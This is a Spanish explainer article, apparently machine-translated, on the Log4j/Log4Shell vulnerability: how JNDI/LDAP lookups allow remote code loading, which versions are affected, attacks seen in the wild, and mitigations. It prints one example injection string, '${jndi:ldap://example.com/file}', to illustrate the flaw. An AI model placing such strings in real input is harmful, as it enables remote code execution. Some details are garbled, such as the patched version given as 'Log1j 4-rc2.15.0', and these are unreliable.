Índice del contenido[Esconder][Espectáculo]
A fines de noviembre de 2021, descubrimos una gran amenaza para la ciberseguridad. Este exploit afectaría potencialmente a millones de sistemas informáticos en todo el mundo.
Esta es una guía sobre la vulnerabilidad Log4j y cómo una falla de diseño pasada por alto dejó más del 90 % de los servicios informáticos del mundo abiertos a ataques.
Apache Log4j es una utilidad de registro basada en Java de código abierto desarrollada por Apache Software Foundation. Originalmente escrito por Ceki Gülcü en 2001, ahora es parte de Apache Logging Services, un proyecto de Apache Software Foundation.
Empresas de todo el mundo utilizan la biblioteca Log4j para habilitar el inicio de sesión en sus aplicaciones. De hecho, la biblioteca de Java es tan omnipresente que puede encontrarla en aplicaciones de Amazon, Microsoft, Google y más.
La prominencia de la biblioteca significa que cualquier falla potencial en el código podría dejar millones de computadoras abiertas a la piratería. El 24 de noviembre de 2021, un seguridad en la nube investigador que trabaja para Alibaba descubrió una falla terrible.
La vulnerabilidad Log4j, también conocida como Log4Shell, pasó desapercibida desde 2013. La vulnerabilidad permitía a los actores malintencionados ejecutar código en los sistemas afectados que ejecutaban Log4j. Se hizo público el 9 de diciembre de 2021.
Los expertos de la industria llaman a la falla de Log4Shell la mayor vulnerabilidad en la memoria reciente.
En la semana siguiente a la publicación de la vulnerabilidad, los equipos de ciberseguridad detectaron millones de ataques. Algunos investigadores incluso observaron una tasa de más de cien ataques por minuto.
¿Cómo funciona?
Para comprender por qué Log4Shell es tan peligroso, debemos comprender de qué es capaz.
La vulnerabilidad de Log4Shell permite la ejecución de código arbitrario, lo que básicamente significa que un atacante puede ejecutar cualquier comando o código en una máquina de destino.
¿Cómo logra esto?
Primero, necesitamos entender qué es el JNDI.
La Interfaz de nombres y directorios de Java (JNDI) es un servicio de Java que permite que los programas de Java descubran y busquen datos y recursos a través de un nombre. Estos servicios de directorio son importantes porque proporcionan un conjunto organizado de registros para que los desarrolladores puedan consultarlos fácilmente al crear aplicaciones.
El JNDI puede utilizar varios protocolos para acceder a un determinado directorio. Uno de estos protocolos es el Protocolo ligero de acceso a directorios o LDAP.
Al registrar una cadena, log4j realiza sustituciones de cadenas cuando encuentran expresiones de la forma ${prefix:name}
.
Por ejemplo, Text: ${java:version}
podría estar registrado como Texto: Java versión 1.8.0_65. Este tipo de sustituciones son comunes.
También podemos tener expresiones como Text: ${jndi:ldap://example.com/file}
que utiliza el sistema JNDI para cargar un objeto Java desde una URL a través del protocolo LDAP.
Esto carga efectivamente los datos provenientes de esa URL en la máquina. Cualquier hacker potencial puede alojar código malicioso en una URL pública y esperar a que las máquinas que usan Log4j lo registren.
Dado que el contenido de los mensajes de registro contiene datos controlados por el usuario, los piratas informáticos pueden insertar sus propias referencias JNDI que apuntan a los servidores LDAP que controlan. Estos servidores LDAP pueden estar llenos de objetos Java maliciosos que JNDI puede ejecutar a través de la vulnerabilidad.
Lo que empeora esto es que no importa si la aplicación es una aplicación del lado del servidor o del lado del cliente.
Siempre que haya una forma de que el registrador lea el código malicioso del atacante, la aplicación aún está abierta a vulnerabilidades.
¿Quién está afectado?
La vulnerabilidad afecta a todos los sistemas y servicios que utilizan APache Log4j, con versiones 2.0 hasta 2.14.1 inclusive.
Varios expertos en seguridad advierten que la vulnerabilidad puede afectar a varias aplicaciones que utilizan Java.
La falla se descubrió por primera vez en el videojuego Minecraft, propiedad de Microsoft. Microsoft ha instado a sus usuarios a actualizar su software Minecraft edición Java para evitar cualquier riesgo.
Jen Easterly, directora de la Agencia de Seguridad de Infraestructura y Ciberseguridad (CISA), dice que los proveedores tienen una gran responsabilidad para evitar que los usuarios finales se aprovechen de esta vulnerabilidad.
“Los proveedores también deberían comunicarse con sus clientes para garantizar que los usuarios finales sepan que su producto contiene esta vulnerabilidad y deberían priorizar las actualizaciones de software”.
Según los informes, los ataques ya han comenzado. Symantec, una empresa que proporciona software de ciberseguridad, ha observado una cantidad variada de solicitudes de ataque.
Estos son algunos ejemplos de los tipos de ataques que los investigadores han detectado:
- Botnets
Los botnets son una red de computadoras que están bajo el control de una sola parte atacante. Ayudan a realizar ataques DDoS, robar datos y otras estafas. Los investigadores observaron la botnet Muhstik en scripts de shell descargados del exploit Log4j.
- Troyano minero XMRig
XMRig es un minero de criptomonedas de código abierto que utiliza CPU para extraer el token de Monero. Los ciberdelincuentes pueden instalar XMRig en los dispositivos de las personas para que puedan usar su poder de procesamiento sin su conocimiento.
- Ransomware Khonsari
Ransomware se refiere a una forma de malware diseñada para cifrar archivos en una computadora Luego, los atacantes pueden exigir el pago a cambio de devolver el acceso a los archivos cifrados. Los investigadores descubrieron el ransomware Khonsari en los ataques de Log4Shell. Se dirigen a servidores Windows y hacen uso del marco .NET.
¿Qué ocurre después?
Los expertos predicen que puede tomar meses o incluso años arreglar completamente el caos provocado por la vulnerabilidad Log4J.
Este proceso implica actualizar cada sistema afectado con una versión parcheada. Incluso si todos estos sistemas están parcheados, todavía existe la amenaza inminente de posibles puertas traseras que los piratas informáticos ya pueden haber agregado a la ventana en la que los servidores estaban abiertos para el ataque.
Muchos soluciones y mitigaciones existe para evitar que las aplicaciones sean explotadas por este error. La nueva versión 4-rc2.15.0 de Log1j cambió varias configuraciones para mitigar esta vulnerabilidad.
Todas las funciones que utilizan JNDI se desactivarán de forma predeterminada y las búsquedas remotas también se han restringido. Deshabilitar la función de búsqueda en su configuración de Log4j ayudará a disminuir el riesgo de posibles vulnerabilidades.
Fuera de Log4j, todavía existe la necesidad de un plan más amplio para evitar exploits de código abierto.
A principios de mayo, la Casa Blanca publicó un orden ejecutiva cuyo objetivo era mejorar la ciberseguridad nacional. Incluía una disposición para una lista de materiales de software (SBOM), que era esencialmente un documento formal que contenía una lista de todos los elementos necesarios para construir la aplicación.
Esto incluye piezas como el de código abierto paquetes, dependencias y API utilizados para el desarrollo. Aunque la idea de los SBOM es útil para la transparencia, ¿realmente ayudará al consumidor?
Actualizar las dependencias puede ser demasiado complicado. Las empresas pueden optar por pagar las multas en lugar de arriesgarse a perder más tiempo buscando paquetes alternativos. Quizás estos SBOM solo sean útiles si sus alcance se limita aún más.
Conclusión
El problema de Log4j es más que un simple problema técnico para las organizaciones.
Los líderes empresariales deben ser conscientes de los riesgos potenciales que podrían ocurrir cuando sus servidores, productos o servicios dependen de un código que ellos mismos no mantienen.
Confiar en aplicaciones de código abierto y de terceros siempre conlleva cierto riesgo. Las empresas deberían considerar elaborar estrategias de mitigación de riesgos antes de que surjan nuevas amenazas.
Gran parte de la web se basa en software de código abierto mantenido por miles de voluntarios en todo el mundo.
Si queremos mantener la web como un lugar seguro, los gobiernos y las corporaciones deberían invertir en la financiación de esfuerzos de código abierto y agencias de seguridad cibernética como CISA.
Deje un comentario